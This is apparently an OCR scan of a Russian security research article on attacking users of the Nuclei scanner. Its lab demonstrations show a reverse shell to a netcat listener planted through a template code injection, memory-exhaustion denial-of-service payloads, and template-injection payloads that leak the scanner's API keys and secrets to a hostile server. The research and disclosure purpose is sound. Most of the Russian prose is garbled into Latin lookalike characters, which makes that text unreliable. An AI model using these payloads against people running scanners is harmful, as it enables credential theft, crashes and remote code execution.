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Nuclei Fu

Cranmcaa CABYEHKO — BEAYLLMM IKCNEPT
6a3bl 3HaHUM, CyberOK

ATaku Ha Nuclei

B ceroaHawHen cratbe pevb nomaeTr o Nuclei — 310 MOLLHbIM OPEN-SOUrce MHCTPYMEHT AAS MOMCKA
ya3sumocTen (DAST), KOTOPbIM AKTMBHO PA3BMBAETCH DAAroAQPs NOAAEPXKKE COODLLLECTBA.

3a nocaeaHu roa B Nuclei GbIAO HECKOABKO KPYMHbIX OOHOBAEHMIM, KOTOPbIE MPUHECAM MHOXECTBO oMY,
TAKMX KOK KOAOBQOS BCTABKA, MCMOAb3OBAHME jAVASCript B LLAOBAOHAOX, yMPABAEHUE 30MPOCAMM Yepes flow,
BHEAPEHME MOAMMUCK LLUABAOHOB U MP. CErOAHS XOTEAOCH Obl PACCKA3ATh O BO3MOXKHbIX ATAKAX Ha Nuclei,
A UMEHHO O KAMEHTCKMX ATAKAX, KOTOPBIE CTAAM AOCTYMHbI BAArOAAPS STMM HOBOBBEAEHMAM.

Aaaee pacckas ByAy BECTH B KOHTEKCTE ABYX CTOPOH — AAMChI, KOTOPAS XO4ET 3ALLUMTUTL CBOM BEB-CepBep
OT CKaHMPOBAHMA Nuclei, 1 Boba, KoTopbIM, COBCTBEHHO, M 3anyckaeT Nuclei.

Alice Bob

Puc.1 Asrop: C. O. CasyeHko, 2024.
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A\OKQAbHbIM BEKTOP ATAKM

AAS HOYOAQ OMPEAEAMM BEKTOPbI ATOKM, KOTOPbIE AOCTYMHbI AAmce. [epBbii M COMbIM OYEBMAHBIN —
AOKOABbHbIM, €CAM AAMCA KOKMM-TO OBPA30OM MOAMEHUT AETUTUMHBIM LLABAOH MAM yBeauT boba
3AMNYyCTUTb BPEAOHOCHbIN LLUABAOH, KOTOPbIM COBEPLUMT KAKME-AMDBO HEOE30MACHbBIE AENCTBMUS.

cool_template.yaml

run: cool_template.yaml

COMPROMISED

Puc.2 AokaabHbin BekTop. AsTop: C. O. CasyeHko, 2024.

PaccmoTtpmm CyLLLECTBYIOLLMI LLIABAOH, KOTOPbLIM AETEKTUPYET HOAMYME Yya3BUMOCTH EfernalBlue (CVE-
2017-0144). B camom LLABAOHE MCMOAb3YETCH KOAOBAS BCTABKA HA python aAf B3ammoaemctems ¢ SMB,
KOK BUAMM HQA CKPMUHLLIOTE HMXKE.

MPEeANOAOXMM, HTO AAUMCA MOMECTUT HYXKHbIM €M KOA 30 MPEAEAAMM IKPAHA, B AGHHOM CAyHOE — PeEBEPC
LLIEAA, BBIAEAEHHbIM KPACHbIM.

socket.socket (socket.AF_INET, socket.SOCK_STREAM) as sock

rort'))))

(reply[9:13], "little") 1= 0):

Puc.3 Astop: C. O. Cas4yeHko, 2024.
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AAMCA MPEABAPUTEABHO 3anyckaeT netcat m otnpasaseT boby LLABAOH. bob 3anyckaeTt wabaoH, Nuclei
HO CEKYHAY MOABMCAOET, O AAMCQA YCMNELLHO AOBUT LLIEAA.

bob@kali:/home/kali$ /root/go/bin/nuclei -t CVE-2017-0144.yaml -u http://192.168.30.132 -code

alice@kali:/home/kali$ nc -nlvp 9001

listening on [any] 9001 ...

connect to [192.168.30.132] from (UNKNOWN) [192.168.30.134]
$ whoami

whoami

bob
$ aliceakali:/home/kali$ [l

projectdiscove:

] Current nuclei version: v3.3.1 (latest)

] Current nuclei-templates version: v9.9.3 (lat
WRN] Scan results upload to cloud is disabled

] New templates added in latest release: 56

] Templates loaded for cur s

] Executing 1 signed tes

] Targets loaded for current scan:

Puc.4 Astop: C. O. CasyeHko, 2024.

MO>XHO CKa3aTh, YTO CLLEHAPUM CAMLLKOM HOAYMOHHBIA U HUKTO HE BYAET 3aMyCKATb HEMOHSATHbIM KOA Y
cebg Ha xocTe Be3 NPOBEPOK UAM MECOYHULLBI, HO OYKBAABHO HEAOQBHO MHE MOMAACS PEMNO3MTOPUN C 6K
LIABAOHOB AA9 Nuclei. KaxXeTcs, 4TO Mpr XKEAQHUM MOXHO CMpPSTaTh TAE-TO B TAYOMHE BoAee XMUTPYIO
00dYCUMPOBAHHYIO HArPY3KY, Y4UTbIBAS HOMHOTO MEHbLLEE KOAMYECTBO MPOBEPAOLLMX, MO CPABHEHMIO
C OCPULLMAABHBIM PENO3NTOPHEM. KpOoMe TOro, 3aAQHA YNPOLLLAETCS, ECAM LLUABAOHbLI NPEAHA3HAYEHD! B
workflow, T.e. B NOCAEAOBATEALHOM LLEMOYKE.

MUHYCOM AQHHOTO MOAXOAQ SBASETCH TO, YTO MOAMPULIMPOBAHHBIM LLABAOH HY>KHO MEPENOANMUCATH U,
MOMMMO 3TOTO, Mpm 3anycke Nuclei MPUMEHSTb CMELMAAbHbIM NAPAMETO AAS MCMOAb30OBAHMS KOAOBbIX
BCTCIBOK.

AO «CAVNBEP OK»



www.cyberok.ru
info@cyberok.ru
+7 (495) 137-7337

—yber O

CeTeBOM BEKTOP ATAKH

Bropon Bektop — ceteBomn. Koraa bob 3anyckaeT, KA3aAOChb Obl, AETUTUMHbIM LLIAOAOH, COBEPLLAETCS
3aMpoc K cepsBepy AAUCHI, HO OTBET CepBepda, BAAroAaps cneumdpmke padoTsl Nuclei, TPHUBOAMT K KAKMM-
TO HETATUBHbBIM MOCAEACTBUSM.

|

run: trusted_template.yaml

web-server  EIIPIRESBONSEN)y  response processing

|

COMPROMISED

Puc.5 Astop: C. O. CaByeHko, 2024.

AAS HOHOAQ HYXXHO OMPEAEAUTBCH, HTO AAMCA BOODLLLE MOXET BHEAPUTbL M KYAQ. Y4nTbiBAS, 4TO Nuclei
AOAXKEH B34Tb OTBET CepBEPA AAUCHI M KAK-TO MCMNOAb30OBATb, HOMOOAEE BEPOATHBIM MECTOM ATAKM
ABASAKOTCS DKCTPAKTOPSI.

OKCTPAKTOPbI MO3BOAAOT M3BAEKATb M3 OTBETA XOCTA PA3AMYHYIO MHADOPMALMIO, HONPUMER, C MOMOLLLbIO
PEMYAIPHBIX BbIDOXKEHMM U AOAEE MPU HEODOXOAMMOCTU C MOMOLLbIO BCTPOEHHbLIX OYHKUMM Nuclei
(Ha3bIBAEMBIX (XEAMEPBIN) NPEOBPA30BLIBATL €€ — HANPUMEP, BPATb X3LL-CYMMY, KOAMPOBATL B base b4,
MPUBOAMTB K HUXKHEMY PETUCTPY M MpoYyee.

Ha CKpUHLLIOTE HMXKXE MOXKHO YBUMAETb MOUMEP, KOTAC M3 HTTP-OTBETA CepBEpPA C MOMOLLIBIO PETYASPHOrO
BbIDC)KEHMS M3BAEKAETCA 3ArOAOBOK Server M YMCAOBOE 3HAYEHME (B AGHHOM cCAydae - 1.14.1)
MOMELLLAETCS B MEPEMEHHYIO Version.

y 2024 13:54:10 GMT
t/html; charset=utf-g8

extractor:

o e - version: 1.14.1

lation id

-Domain-Policies: none
EMBDZSRSZBO3EZTOJSPNGO4

%
¥-Ua-Compat i
X-Xss-Protect i

Puc.6 Skctpaktopsi. ABTop: C. O. CaB4yeHko, 2024.
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YcTtapeswas sepcus Nuclei

EcAm AAMCA MOCMOTPUT B OOULIMAABHOM peno3unTopmm changelog, To yBUAMT, HTO HE TAK AGBHO B Nuclei
MCMPABUAM OLLMOKY, KOTOPAS BbI3bIBAAC MAAEHME MPOLLECCA MPU CAULLKOM BoabLLIOM HTTP-OTBETE.

v3.2.5

@ chsandeep released this Apr 25 . 257 commits to main since this release  © v3.2.5 -0 4d12271

What's Changed

## Bug Fixes

» Fixed internal resolver override by @Mzack9999 in #5035

» Fixed issue to run workflow subtemplates with new scancontext by @tovask in #5031

s Fixed issue with max-size inputin template by @dogancanbakir in #5100

o Fixed issue with skip-variables-check with self-contained templates by @RamanaReddy0OM in #5053

» Fixed issue with close res body in elastic export by @testwill in #5025

+ Fixed issue with jsonl input format not working with fuzzing by @lce3man543 in #506

o Fixed issue with mhe check in http payloads by @tarunKoyalwar in #5099

« Fixed openapi impaort nil panic by @dogancanbakir in #5080

« Fixed panic in template validation by @RamanaReddyOM in #5065

« Fixed panic using flow / workflow templates by @RamanaReddyOM in #5064

¢ Fixed panic with fuzz template by @RamanaReddyOM in #5068

e Fixed issue with case-sensitive links in template reference by @RamanaReddy0OM in #5098

Puc.7 Nuclei changelog
Paccmotpmm cueHapum, 41o y boba ycTaHoBAEH ycTapeBLLmMi Nuclei, MOABEP>KEHHbIM 3TOM MpobAeme.

Cxema B3AMMOAEMCTBUA BbITATAMT CAEAYIOLLMAM OBpa3om: LLIABAOH oTnpasaseT HTTP-3anpoc cepsepy
AAUCBI, MOAYHAET OTBET U M3BAEKAET KAKME-AMOO 3HAYEHMS, MOCAE 4YEro NepeAdeT MX KOAOBOM BCTABKE
AAS OBPABOTKM, HO M3-30 OFPAHMYEHMS HA AAMHY OTBETA BO3HMKAET OTKA3 B OOCAY>XMBAHUM. OLIMOKA
BO3HMKOET MMEHHO HQ 3TAne NepeAqym 3HAYEHUIM M3 DKCTPOAKTOPA B KOAOBYIO BCTABKY.

|

run: template.yaml
extract values

web-server | .
calculate vars with code

|

Denial of Service

Puc.8 Nuclei DoS. Astop: C. O. CasyeHko, 2024.
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AAS TECTUPOBAHUI AAMCA MOAHMMAET MPOCTOM BEB-CEPBEP M CO3ACET PAMA COre.js pasmepom 23m0.
bob 3anyckaet Nuclei ¢ LLGBAOHOM, KOTOPLIM AOAXEH OBPATUTLCA K ADAMAY COre.js, B3aTb TEAO OTBETA U
0oBpabOTATH C MOMOLLLBIO KOAOBOM BCTAOBKM. Nuclei mOKa3bBAET, 4TO CKAHWMPOBAHME 3ABEPLLMAOCH
YCMELLUHO U He MPUHECAO AETEKTOB, HO, €CAM MOCMOTPETb B PEXMME OTAQAKM, TO BOB yBMAMT, 4TO
NPOLLECC HO CAMOM AEAE YMAA M3-30 CAULLIKOM AAMHHOTO APIYMEHTA, NepeAdHHOrO KOAOBOM BCTABKE.

alicedkali:/home/kali/server$ python3 -m http.server 8000 alice@kali:/home/kali/server$ 1s -lh core.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) -rwxrwxrwx 1 alice alice 23M Aug 31 11:53 co
192.168.30.134 - - [29/Aug/2024 11:48:55] "GET /core.js H = aliceakali:/home/kali/server$ i

bob@kali:/home/kali$ ./nuclei -t poc_2.yaml -u http://192.168.30.132:8000 -code

[ Current nuclei version: v3.1.2 ( )

[ Current nuclei-templates version: v9.9.3 (latest)
[w Scan results upload to cloud is disabled.

[ New templates added in latest release: 56
[
[
[
[

Templates loaded for current scan: 1
Executing 1 signed templates from 1
Targets loaded for current scan: 1

No results found. Better luck next time!

[WRN] [ ] Could not execute step: [:RUNTIME] failed to start command got: ¢ fork/exec /usr/bin/bash: argument list too long
[ ] No results found. Better luck next time!

Puc.9 Nuclei DoS PoC. Aestop: C. O. CaB4yeHko, 2024.

ACGHHbBIM CLLEHOPUI HE BCETAO MOXET ObITb MPUMEHUM, MOTOMY HTO Y BOBA MOXeT BbiTb OBHOBAEHHAOS
Bepcus Nuclei. Kpome 1oro, ecam y Beb-cepBepa AAMChI €CTb MOAb30OBATEAbCKMIM OYHKLIMOHAA, HOAMYME
BOAbLLMX jS-GOOAMAOB MOXET HEFATUBHO HO HEFO MOBAMATB.

AokasaTteAbcTBO KoHuenuun CSTI

PaccmoTpum Apyron cueHapum, C akTyaabHoM Bepcuen Nuclei. [Mpeanoaoxum, y boba ectb
AETUTUMHBIM LLABAOH, KOTOPLIM AeAdeT nepsbirt HTTP-3anpoc k doanay file.txt, n3saekaeT u3 Teada oTeeTa
4YTO-TO C TMOMOLLIBIO PETYAIPHOrO BbIDCKEHMSA M AEACET BTOPOM 3AMPOC, MOACTOBASS B 3QrOAOBOK
CustomHeader n3saevyeHHOE 3HOYEHME.

GET /file.txt HTTP/1.1
Host: {{Hostname}}

extractors:

- type: regex
name: inject
part: body
internal: true

regex:
—om o an

matchers:

1 |

run: template.yaml

- type: regex
regex:

R

part: body

| — extract values

GET / HTTP/1l.1
Host: {{Hostname}}

CustomHeader: {{inject}} Web_se rve r l
CustomHeader: value

Puc.10 CSTI PoC. Astop: C. O. Cas4yeHKo, 2024.
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37O AOBOABHO PACMPOCTRAHEHHAS CUTYALMA, KOTOPAS B 4yTb BOAEE CAOXHOM BMAE BCTPEYAETCS B
OPOULLMAABHBIX LLABAOHAX OT ProjectDiscovery.

OAHOBPEMEHHO C 3TMM AAMCA MOAHMMAET CBOM CcepBep M B doama file.txt momeLLaeT xeanep, KOTopbIM
MOXHO YBMAETb HO KAPTUMHKE HMXKE, KOTOPbIM MPW YCMELLHOM MHbEKLMUM AOAXKEH BEPHYTb CTpoKy CSTITEST,
30KOAMPOBAHHYIO B baseb4.

bo6 3anyckaeT CKOHUPOBAHME CepPBEPA AAMCHI U, ECAM OH BKAKOYUT PEXMM OTACAKU, TO YBUAMT, HTO
MePBbIM 3AMNPOC BbIMOAHUACS KOPPEKTHO, COAEPXMMOE dPaMAA file.txt 0oTOBPaXKEHO B NEPBOHAYAABHOM
BMAE, HO BO BTOPOM 3Anpoce B 3aronoske CustomHeader dourypupyet s3HaveHmne base b4, a He MCXOAHAOS
CTpoOKQ.

alice@kali:/home/kali/server$ python3 -m http.server 8000 alice@kali:/home/kali/server$ cat file.txt
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... {{base64("CSTITEST")}}
] alicepkali:/home/kali/server$ i

bobakali:/home/kali$ /root/go/bin/nuclei -t poc.yaml -u http://192.168.30.132:8000 -debug
xt HTTP/1.1
8.30.132:8000
: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
n: close
Accept-Encoding: gzip

[ ] [nuclei-csti-poc] Dumped HTTP response http://192.168.30.132:8000/file.txt

HTTP/1.0 200 OK

Connection: close
Content-Length: 23
Content-T:
D Mon

24 12
fied: Mon, 26 Aug 2
: SimpleHTTP/0.6 Pytho

gex-1] [ 10 ] http://192.168 32:8000/file.txt
] [nuclei- oc] Dumped HTTP request for http: 68.30.132:8000

GET / HTTP/1.1
2.168.30.132:8000
t: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/605.1.15 (KHTML, lib

CustomHeader: QINUSVRFU1Q=
Accent-Encoding: ozin

Puc.11 CSTI PoC. Astop: C. O. CasyeHKo, 2024.

Takmm  0BpPA30M, MPOAKTMHECKM AIOOOM XeAnep, MOMNABLLUMKM B IKCTPAKTOP, HE TMNOABEPrHETCS
SKPAHMPOBAHMIO U OYAET BbIMOAHEH.

Hecmotps Ha 10, 41O 31 ataka — B Yictom Buae Client Side Template Injection, AAMca He moxer
oBpPALLLATLCH K CUCTEMHBIM GOAMAOM, MEPE3AMMUCHIBATL YTO-TO MAM OTKPbLIBATD COEAMHEHMSA, MOTOMY YTO
MOA KAMOTOM MCMOAb3yeTCs COBCTBEHHAN BubamoTteka ot ProjectDiscovery, doyHKUMOHOA KOTOPOM C
TOYKM 3PEHUST 3AOBPEAHOM HArPY3KM AOBOABHO OTPAHMYEH U COAEPXKMT OKOAO 80 doyHKUMM. HO Acke 3TmX
AOYHKLMM AOCTATOYHO AAS PA3BUTMA TPEX HAMPABAEHMMU, O KOTOPLIX PEYL MOMAET ACAEE.
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EcAm AAMCQA BHUMATEABHO MOCMOTPMUT HO CMIMCOK AOYHKLLMM, TO €€ BHUMAHME MPUBAEKYT ABE — HOMEP 28
(BblMMCAEHME M5 X3LU-CYMMBbI OT CTPOKM) M 53 (MOBTOPEHME CUMBOAQ 30AQHHOE KOAMYECTBO pPA3),
KOMOMHALLMA KOTOPBIX MOXET MPUBECTU K CTAPOMY-A0DPOMY OTKA3Y B ODOCAYKMBAHMM.

Puc.12 CSTl to DoS. Astop: C. O. CaBYEHKO,

NTOK, AAS 3TOFO TMOBTOPUAA MPEAbLIAYLLIMIA CLIEHAPWM, TOABKO BMECTO MOAE3HOM HArPY3KM

2024.

AAMCO

MCMNOAb3yET QOYHKLMIO BbIMMCAEHMA MD5 X3LL-CYMMBbI OT 4 MUMAAMAPAOB OYKB A.

alicepkali:/home/kali/server$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
1]

—

bob@kali:/home/kali$ /root/go/bin/nuclei -t poc.yaml -u http://192
GET /file.txt HTTP/1.1

Host: 192.168.30.1 8000

User-Agent:
Connection: close
Accept-Encoding: gzip
[086] [nuclei-csti-poc] Dumped HTTP response http://192.168.30.132
HTTP/1.0 200 0K

Connection: close

Content-Length: 34

Content-Type: text/plain

Date: Mon, 26 Aug 2024 11:29:56 GMT

Last-Modified: Mon, 26 Aug 2024 11:28:31 GMT

Server: SimpleHTTP/0.6 Python/3.11.9

:regex-1] [ 1
time: out of memory

] http://192.168.30.132:8000/

fatal error: run

runtime stack:
runtime.throw({0x2be58042, 0x203040?})
-1.22/src/runtime/panic.go:1023 +0x
000, 0x100000000)
rc/runtime/mem_linux.go:167
0, 0x100000000, 0x4ebc608?)
/usr/1ib/go-1.22/src/runtime/mem.go:155 +0x34
runtime.(*mheap).grow(0x4eac400, 0x80000?)
/usr/1ib/go-1.22/src/runtime/mheap.go:1534 +0

runtime.(*mheap).allocSpan(0x4eacs00, 0x80000, 0x0, 0x1)

Puc.13 CSTI to DoS. Astop: C. O. CaBYEHKO,

AO «CAVNBEP OK»

0zilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML,

alice@kali:/home/kali/server$ cat file.txt
{{md5(repeat('A', 65536%65536))}}
alicepkali:/home/kali/server$ i

.168.30.132:8000 -debug

like Gecko) Chrome/129.0.0.0 Safari/537.36

18000/file.txt

file.txt

Sc fp=0x7f56993ffc98 sp=0x7f56993ffc68 pc=0x43f7dc
+0x11b fp=0x7f56993ffcd8 sp=0x7f56993ffc98 pc=0x41df3b
fp=0x7£56993ffcf8 sp=0x7f56993ffcd8 pc=0x41d9b4

236 fp=0x7f56993ffd68 sp=0x7f56993ffcf8 pc=0x430796

2024.
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Bo6 aHaaormyHbiM 0Bpa3zom 3anyckaeT Nuclei co cBoMM LLABAOHOM, MEPBbIM 3AMNPOC BbINMOAHIETCS
YCRELLUHO, HO BMECTO BbIMOAHEHMS BTOPOIO 3AMPOCA MPOLLECC NAAJET YEPE3 HECKOABKO CEKYHA M3-3d
NCYEPMOHUSA BCEM BIAEAEHHOM MOAMSITH.

CAEAYET OTMETUTb, YTO MOAOBOHAS ATAKA MOXET BbITb PECAM3IOBAHA M APYTOM MOAE3HOM HAMPY3KOM, KAK
MOKO3AHO HA KAPTUMHKE HMXE. 3AECh MCMOAb3YETC QOYHKLIMS, AOMMUCBIBAIOLLLAS 4 MUAAMAPAC OykB A B
KaQ4eCcTBe MPedOUKCA K CTPOKE C TEM Xe 2P dekTom. TaKMm OBPA30M, MCMOAb3YS STOT MAM paHEE
MPUBEAEHHbBIM METOA, AAMCA MOXET CTATb HEBUMAMMKOM AAT BOBA, MOTOMY 4TO HU OAMH 3CQMYLLEHHbIM
MPOLLECC CKAHMPOBAHMSA HE AQCT AETEKTOB. [1pK 3TOM BECH MOAb30OBATEALCKMIA AOYHKLIMOHAA MOXET ObITh
COXPOHEH, BEAb MOAE3HAS HArpys3ka (B 30BMCMMOCTM OT IKCTPAKTOPA B LLUABAOHE) MOXeT ObiTh
PO3MELLLEHA AOXKE B KOMMEHTAPMUIX KOAQ CTRAHMLLBI.

alice@kali:/home/kali/server$ cat file.txt
{{md5(padding('Test String', 'A', 65536%65536, 'prefix'))}}
alicepkali:/home/kal1/server$ |

bobakali:/home/kali$ /root/go/bin/nuclei -t poc.yaml -u http://192.168.30.132:8000 -debug
xt HTTP/1.1

0zilla/5.@ (Ubuntu; Linux i686; rv:122.0) Gecko/20100101 Firefox/122.0
Connection: close
Accept-Encoding: gzip

[ ] [nuclei-csti-poc] Dumped HTTP response http://192.168.30.132:8000/file.txt

HTTP/1.0 200 OK

Connection: close

Content-Length: 6@

Content-Type: text/plain

Date: Mon, 26 Aug 2024 11:32:24 GMT
Last-Modified: Mon, 26 Aug 2024 11:31:57 GMT
Server: SimpleHTTP/0.6 Python/3.11.9

ti-poc:regex-1] [ ] [low] http://192.168.30.132:8000/file.txt
tatal error: runtime: out of memory

runtime stack:
runtime.throw({@x2be5804?, 0x203040?})
/usr/1ib/go-1.22/src/runtime/panic.go:1023 +0x5c fp=0x7f716fdffc98 sp=0x7f716fdffc68 pc=0x43f7dc
runtime. pOS(0xC002000000, 0x100000000)
1ib/go-1.22/src/runtime/mem_linux.go:167 +@x11b fp=0x7f716fdffcds sp=0x7f716fdffc98 pc=0x41df3b

runtime. x 00000, 0x100000000, 0x4ebc608?)

22/src/runtime/mem.go:155 +0x34 fp=0x7f716fdffcf8 sp=0x7f716fdffcd8 pc=0x41d9bs
runtime. (*ml .grH x4eac400, 0x800

22/src/runtime/mheap.go:1534 +0x236 fp=0x7f716fdffd68 sp=0x7f716fdffcf8 pc=0x430796
runtime.(*mheap).allocSpan(@x4eac400, 0x80000, 0x0, 0x1)

Puc.14 CSTI to DoS. Astop: C. O. CasyeHko, 2024.

OKCOUALTPAUUSA ACHHBIX

B 0AHOM M3 MOCAeAHMX OBHOBAEHMIM Nuclei BbIAa AODABAEHA MHTETPALMA C ASM-CUCTEMAMM — TOKMAMMU,
kak Shodan, Netlas, Fofa 1 np. AAg Toro, 4ToObl HOMTK XOCTbI, MOABEPXKEHHbIE OMNPEAEAEHHOM YI3BUMOCTH
M 3aMNyCTUTb MX CKAHWMPOBAHME C MOMOLLIbO Nuclei, B 0OGOMLIMAABHOM AOKYMeEHTALMK ProjectDiscovery
€CTb COOTBETCTBYIOLLLOS MHCTPYKLMS, B KOTOPOM APl KAOYM AAd ASM MNpPOCTO MMMOPTUPYIOTCS B
NEPEMEHHBIE CPEABI.
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You need to set the APl key of the engine you are using as an environment variable in your
shell.

export SHODAN_API_KEY=xxx
export CENSYS_API_ID=xxx
export CENSYS_API_SECRET=xxx
export FOFA_EMAIL=xxx
export FOFA_KEY=xxx

export QUAKE_TOKEN=x0¢
export HUNTER_APT_KEY=xxx
export ZOOMEYE_APT_KEY=xxx

+ {{VARIABLE }}

Required API keys can be obtained by signing up on following platform Shodan, Censys, Fofa,
Quake, Hunter and ZoomEye .

Example of template execution using a search query.

export SHODAN_API_KEY=xxx
nuclei -id 'CVE-2021-26855' -ugq 'vuln:CVE-2021-26855' -ue shodan

It can also read queries from templates metadata and execute template against hosts returned
by uncover for that query.

Puc. 15 Astop: C. O. CasyeHko, 2024.

OAHOBPEMEHHO C 3TMM xaAMNepbl NucClei MO3BOASIOT YUTATb MEPEMEHHBIE AAR MX AQAbHEMLLETO
MCMOAb30BAHMI — AOKOAbHbIE M ACXKE TAOBAAbHbIE, eCAM NucClei 3anyLLLeH C COOTBETCTBYIOLLIMAM GOACQTOM.
TakMm 0BPA30OM, KOMBUMHALMAX STUX GOAKTOB MO3BOAIET PEAAMIOBATE DKCCOUABTRALMIO YYBCTBUTEABHBIX
AQHHbIX Yepe3 HTTP-3anpocs!.

Paccmotpum Boaee CAOXHbIM CUeHapuK. B 3ToT pa3 bob mcnoab3syeTr CyLLeCTBYOWMA LLIABAOH M3
OPULMAABHOTO penosmtopus. B LuabaoHe naet HTTP-3anpocC No CneumdouiHOMY NyTH, B OTBET MPUXOAMT
jSON, 13 KOTOPOTO U3BAEKAETCH 3HAYEHME MOAR NaMe. AGAEE 3TO 3HOYEHME UCTOAL3YETCA B KavyecTse URL
AA9 BTOpOoro HTTP-3anpoca.

HTTP GET request to
GET /solr/admin/cores?wt=json HTTP/1l.1 /sol r/ad mi n/co res?wt=json

Host: {{Hostname}}
-1

iETt{S\?]{.;{ifcori:;;/select?\q:%30%35‘xm152' EXtra ct «name» va | ue from
JSON in response
) ;giz :zz:ractsh_l:x:cwtr:wcw:wl $ confirms the HTTI:) G ET req Uest to

words:

e [solr/<value>/select...
T 4. Matching results
fe?ef:‘nar-nE"\ P

-

ligest: 4alal047/30420

*CVE-2017-12629

Puc.16 CSTI to HTTP Data Exfiltraton. Astop: C. O. CasyeHko, 2024.
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MpoeAnoAOXMM, BOO AKTUBHO MCMOABL3YET MOMCKOBYKD CUCTeMy Shodan, y Hero ectb APl KAIOY AA4
B3OMMOAEMCTBUA C HEM. AAT YAODCTBA OH MOMECTUA DTOT KAKOY B KavyecTtse nepemeHHon SHODAN_KEY
KOMAHAOM export.

AAMCO Xe, B CBOIO O4EPEAb, XOHET MOAYUYMTb DTOT KAIOY. AAS 3TOTO OHA NMOAOBPAAA TAKOE COAEPXMMOE
doarAQ, 4TOObLI MpPM PABOTE IKCTPAKTOPA 3AMyCKAAACh COYHKLMS, KOTOPAS M3BAEKAET ACQHHbLIE M3
OKPY>XEHMUS 1 ACAEE MOACTOBASETCS BO BTOPOM 3AMPOC.

alice@kali:/home/kali/server$ python3 -m http.server 8000 alice@kali:/home/kali/server/solr/admin$ cat cores
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) "name" : " { {SHODAN_KEY}}"
aliceakal1:/home/kal1/server/solr/admin$ []

bob@kali:/home/kali$ export SHODAN_KEY=123456789
bob@kali:/home/kali$ /root/go/bin/nuclei -t CVE-2017-12629.yaml -u http://192.168.30.132:8000 -ev
[ Current nuclei version: v3.3.1 (latest)

Current nuclei-templates version: v9.9.3 (lat t)

Scan results upload to cloud is disabled.

New templates added in latest release: 56

Templates loaded for current scan: 1

Targets loaded for current scan: 1
Using Interactsh Server: oast.site
No results found. Better luck next time!

[
[
[
[
[ Executing 1 signed templates from projectdiscovery/nuclei-templates
[
[
[
bobakali:/home/kali$ i

alice@kali:/home/kali/server$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

192.168.30.134 - - [26/Aug/2024 07:52:43] "GET /solr/admin/cores?wt=json HTTP/1.1" 200 -
192.168.30.134 - - [26/Aug/2024 07:52:53] code 404, message File not found

192.168.30.134 - - [26/Aug/2024 07:52:53] "GET /solr/123456789/select?q=%3C%3Fxml%20versic
DX22UTF-8%22%3F%3EX0A%3C! DOCTYPEX%20root%20%5B%0A%3C! ENTITY%20%25%20remote¥20SYSTEM%20%22h
raii9@enynch3y9s7bf.oast.site%2F%22%3EX0A%25remote%3BX5D%3EX0AX3Croot¥2F%3EGwt=xml&defTyp

Puc.17 CSTI to HTTP Data Exfilfraton (single). Astop: C. O. CasyeHko, 2024.

bo6 3anycKkaeTr ONMMCAHHbIM LLIAOAOH, BbIMOAHIETCS MEPBbLIM 3AMPOC, KOTOPbLIM B OTBET NOAy4YaeT JSON. 13
JSON m3BAEKOETCH 3HAYEHME MOAT NAME — B ACHHOM CAYHOE, XDAMEP, BbI3bIBAIOLLMM MEPEMEHHYIO
SHODAN_KEY. Kak OMMCLIBOAOCH pAHEe, MPAKTMYECKM AODOOM X3AMEp, MOMABLUMM B IKCTRAKTOP M
NEPEAQHHbIM AQAEE, OBTOMOTMYECKM BbIMOAHAETCA. Takmm obpasom, B URL aAAq BTOPOro 3ampoca
MOACTOBASETCAS HE MCXOAHOE 3HAYEHME MOAY Name, a POAKIMYECKOE 3HOAYEHME MNEPEMEHHOM
SHODAN_KEY. AAMCO MOXET YBUAETb 3TO 3HAYEHME, MOCMOTPEB B AOTM CBOETO CEPBEPA, HA CKPUMHLLUOTE
BBIAEAEHHOE KPOCHbIM.

NMOMMMO 3TOTO, AAMCA MOXXET M3BAEYD CPA3Y 3HAYEHUA AAT APYTHX CUCTEM — Hanpumep, ard Netlas m
Fofa, HEMHOTO MOMEHSB MOAE3HYIO HArPY3KY. [locAe 3anycKa LLIABAOHA Y AAUCHI B AOTAX OTODPA3ATCA BCE
M3BAEYEHHbBIE KAIOYM.
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alicekali:/home/kal rver/solr/admin$ cat cores
J {SHODAN_KEY}} {NETLAS_KEY} }@d@{{FOFA_KEY}}"
alicepkali:/home/kali/server/solr/admin$ J|

bob@kali:/home/kali$ export NETLAS_KEY=qwerty; export FOFA_KEY=asdfghj
bob@kali:/home/kali$ /root/go/bin/nuclei -t CVE-2017-12629.yaml -u http://192.168.30.132:8000 -ev

Current nuclei version: v3.3.1 (latest)
Current nuclei-templates version: v9.9.3 (latest)
Scan results upload to cloud is disabled.
New templates added in latest release: 56
Templates loaded for current scan: 1
Executing 1 signed templates from projectdiscovery/nuclei-templates
Targets loaded for current scan: 1
Using Interactsh Server: oast.site
No results found. Better luck next time!
ob@kali:/home/kalis$ il

ser HTTP/1.1" 404 -

Puc. 18 CSTI to HTTP Data Exfiltraton (chain). Astop: C. O. CasyeHko, 2024.

BnoAHe BO3MOXHO MOAOOPATH HArPY3KY, KOTOPAS, HAMPUMER, BOPYET KAKOYM MAM TOKEHBI OT Telegram,
Discord, AWS 1 npoyee.

AHOAOTMYHAS cuTyaums, ecam bo® 3anyckaer Nuclei ydepes docker. 3HOd BO3MOXHbIE MMEHO
NEPEMEHHbIX, AAMCA AETKO U3BAEKAET UX, MPU TOM, 4TO NEPEMEHHbIE B AOKEPE 3A4ACTYIO XPAHAT BoAaee
YYBCTBUTEAbHYIO MHADOPAMALLMIO.

alice@kali:/home/kali/server$ cat solr/admin/cores
"name" : " {{SECRET_KEY}}"
aliceakali:/home/kali/servers fi

bob@kali:/home/kali$ docker run -e SECRET_KEY=123454321 -—rm -v /home/kali/:/app/ projectdiscovery/nuclei
-u http://192.168.30.132:8000 -t /app/CVE-2017-12629.yaml -ev
nuclei-templates are not installed, installing...

Successfully installed nuclei-templates at /root/nuclei-templates
Current nuclei version: v3.3.1 (lat

Current nuclei-templates version: v9.9.3 (latest)

Scan results upload to cloud is disabled.

New templates added in latest release: 56

Templates loaded for current scan: 1

Executing 1 signed templates from projectdiscovery/nuclei-templates
Targets loaded for current scan: 1

